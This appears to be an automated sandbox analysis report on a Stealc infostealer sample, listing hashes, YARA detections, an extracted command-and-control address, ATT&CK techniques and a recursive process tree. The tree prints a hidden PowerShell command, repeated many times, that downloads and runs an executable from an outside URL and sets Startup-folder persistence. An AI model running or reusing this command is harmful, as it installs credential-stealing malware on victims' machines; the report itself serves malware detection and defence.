stealc | 7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c

Analysis

max time kernel
142s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/08/2026, 12:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 6.9MB
Sample260827-pjenpas1f1
SHA256 7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c
MD5 f2fed264a2e126a9f4ad784a5d211eda
SHA1 53a5f7f9f94488f498a9a5cfcd5857b2f1c1315f
SHA512 148f563742587bcb38dc3593daed79ff1f94d618ccde2a2e77b23f7daf478dc5a663174f2c75bec5d4ccbe820f8ad9264aa96e31c63c8ae44feb37a9b9197052
SSDEEP 49152:qhy0aoBhmmIkrb/T9vO90d7HjmAFd4A64nsfJeqvpoSFgxT3M6iUbEAGqr89nK97:4mIZjuEyE3dAhM2ACgMaWxf+G8MQGdTs
TLSH
T14C765B03B899A1E4C5D9D63085368293BA717C884B3037D32F54BBBA2F767C46EB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution stealc persistence privilege_escalation stealer

Malware Config

Extracted

Family

stealc

http://45.88.91.77

rc4.plain

Signatures

Family: Stealc
Stealc is an infostealer written in C++.
stealer stealc

Detects Stealc stealer Version 3 61 IoCs

resource	yara_rule
behavioral2/memory/3556-35-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-39-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-45-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-42-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-46-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-44-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-43-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-41-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-40-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-38-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-37-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-36-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3556-34-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-58-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-55-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-63-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-66-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-65-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-64-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-56-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-62-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-61-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-60-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-59-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-57-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4424-54-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-91-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-90-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-88-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-85-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-83-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-89-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-87-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-86-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-84-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-82-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-81-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-79-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2720-80-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-108-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-115-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-114-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-113-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-111-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-112-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-110-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-109-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-107-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-104-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-116-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-106-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2560-105-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-133-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-132-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-139-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-136-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-135-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-134-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-131-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-129-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/4668-130-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	6064	powershell.exe
13	1376	powershell.exe
18	5800	powershell.exe
21	4152	powershell.exe
24	5832	powershell.exe
27	4640	powershell.exe
30	1876	powershell.exe
35	5940	powershell.exe
38	1420	powershell.exe
41	6128	powershell.exe
45	5948	powershell.exe
48	5376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1376	powershell.exe
5832	powershell.exe
4640	powershell.exe
1876	powershell.exe
5940	powershell.exe
5948	powershell.exe
6064	powershell.exe
5800	powershell.exe
4152	powershell.exe
1420	powershell.exe
6128	powershell.exe
5376	powershell.exe

Downloads MZ/PE file 9 IoCs

flow	pid	Process
18	5800	powershell.exe
21	4152	powershell.exe
24	5832	powershell.exe
41	6128	powershell.exe
45	5948	powershell.exe
6	6064	powershell.exe
27	4640	powershell.exe
30	1876	powershell.exe
48	5376	powershell.exe

Creates a file in the Startup directory 1 TTPs 12 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\file.lnk	file.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe

Executes dropped EXE 12 IoCs

pid	Process
4424	mscopilot.exe
2720	mscopilot.exe
2560	mscopilot.exe
4668	mscopilot.exe
4404	mscopilot.exe
5256	mscopilot.exe
4932	mscopilot.exe
3776	mscopilot.exe
2568	mscopilot.exe
4684	mscopilot.exe
596	mscopilot.exe
4296	mscopilot.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
6064	powershell.exe
6064	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
5800	powershell.exe
5800	powershell.exe
4152	powershell.exe
4152	powershell.exe
4152	powershell.exe
5832	powershell.exe
5832	powershell.exe
5832	powershell.exe
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
5940	powershell.exe
5940	powershell.exe
1420	powershell.exe
1420	powershell.exe
6128	powershell.exe
6128	powershell.exe
5948	powershell.exe
5948	powershell.exe
5376	powershell.exe
5376	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	6064	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	5940	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	5376	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 6064	3556	file.exe	89
PID 6064 wrote to memory of 4424	6064	powershell.exe	92
PID 4424 wrote to memory of 1376	4424	mscopilot.exe	93
PID 1376 wrote to memory of 2720	1376	powershell.exe	95
PID 2720 wrote to memory of 5800	2720	mscopilot.exe	96
PID 5800 wrote to memory of 2560	5800	powershell.exe	98
PID 2560 wrote to memory of 4152	2560	mscopilot.exe	99
PID 4152 wrote to memory of 4668	4152	powershell.exe	101
PID 4668 wrote to memory of 5832	4668	mscopilot.exe	102
PID 5832 wrote to memory of 4404	5832	powershell.exe	104
PID 4404 wrote to memory of 4640	4404	mscopilot.exe	105
PID 4640 wrote to memory of 5256	4640	powershell.exe	107
PID 5256 wrote to memory of 1876	5256	mscopilot.exe	108
PID 1876 wrote to memory of 4932	1876	powershell.exe	110
PID 4932 wrote to memory of 5940	4932	mscopilot.exe	111
PID 5940 wrote to memory of 3776	5940	powershell.exe	113
PID 3776 wrote to memory of 1420	3776	mscopilot.exe	114
PID 1420 wrote to memory of 2568	1420	powershell.exe	116
PID 2568 wrote to memory of 6128	2568	mscopilot.exe	117
PID 6128 wrote to memory of 4684	6128	powershell.exe	119
PID 4684 wrote to memory of 5948	4684	mscopilot.exe	120
PID 5948 wrote to memory of 596	5948	powershell.exe	122
PID 596 wrote to memory of 5376	596	mscopilot.exe	123
PID 5376 wrote to memory of 4296	5376	powershell.exe	125

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Creates a file in the Startup directory
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
    "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
    3⤵
    - Creates a file in the Startup directory
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        5⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        7⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4152
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        9⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        10⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        11⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        12⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        13⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        14⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1876
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        15⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        16⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5940
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        17⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        18⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1420
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        19⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        20⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6128
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        21⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        22⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        23⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        24⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5376
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        25⤵
        Executes dropped EXE
        
        PID:4296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...